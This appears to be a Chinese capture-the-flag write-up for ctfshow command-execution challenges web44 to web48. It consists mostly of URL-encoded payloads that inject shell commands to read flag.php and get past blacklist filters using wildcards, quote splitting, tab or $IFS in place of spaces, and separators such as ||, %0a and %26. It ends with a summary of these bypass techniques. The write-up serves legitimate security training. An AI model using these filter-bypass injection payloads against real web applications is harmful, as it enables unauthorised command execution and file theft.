ctfshow web入门命令执行44-48
目录
1.web44
过滤了flag,可以使用通配符绕过
payload:
c=nl fla*||
c=nl fla*%26
c=nl fla*%26%26
c=nl fla*%0a
c=nl fla''g.php
2.web45
又过滤了空格 ,最后一个为类似官方解法,为什么后面不能用fla*,因为会使$IFS空格失效
反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量(return函数),需要echo进行输出执行结果
payload:
c=nl%09fla*||
c=nl%09fla*||
c=nl%09fla*%26
c=nl%09fla*%26%26
c=nl%09fla*%0a
c=echo`nl${IFS}fla*`||
c=echo`nl\$IFS*`||
c=nl%09fla%3F%3F%3F%3F%3F||
c=nl%09fla''g.php
3.web46
这题过滤了空格和数字,$,*等
payload:
c=tac<>fla''g.php||
c=nl<fla''g.php%26
c=nl<fla''g.php%26%26 #%26可用是因为是特殊url编码,当执行时会自动转成&
c=nl<fla''g.php%0a
c=nl%09fla''g.php%0a
c=echo`nl<fla''g.php`%0a
c=nl%09fla%3F%3F%3F%3F%3F||
4.web47
这题没过滤什么,只是把其他可以查看文件内容的命令过滤了
payload:
c=tac<>fla''g.php||
c=nl<fla''g.php%26
c=nl<fla''g.php%26%26 #%26可用是因为是特殊url编码,当执行时会自动转成&
c=nl<fla''g.php%0a
c=echo`nl<fla''g.php`%0a
c=nl%09<fla''g.php||
c=nl%09fla%3F%3F%3F%3F%3F||
5.web48
这题又过滤了一些命令,还有反引号
payload:
c=nl%09fla%3F%3F%3F%3F%3F|| #%3F是? url编码
c=nl%09fla??????|| #?和<不能同时使用
c=tac<>fla''g.php||
c=nl<fla''g.php%26
c=nl<fla''g.php%26%26 #%26可用是因为是特殊url编码,当执行时会自动转成&
c=nl<fla''g.php%0a
c=nl%09<fla''g.php||
总结:
flag被过滤了,主要又以下绕过方式
fla\g.php
fla''g.php
fla*
fla??????
fla""g.php
当执行系统命令时后面又>/dev/null 2>&1绕过方法
||
%0a
%26
%26%26
空格过滤绕过方式:
%09
${IFS}
\$IFS
burp fuzz测试%00-%0ff之间的字符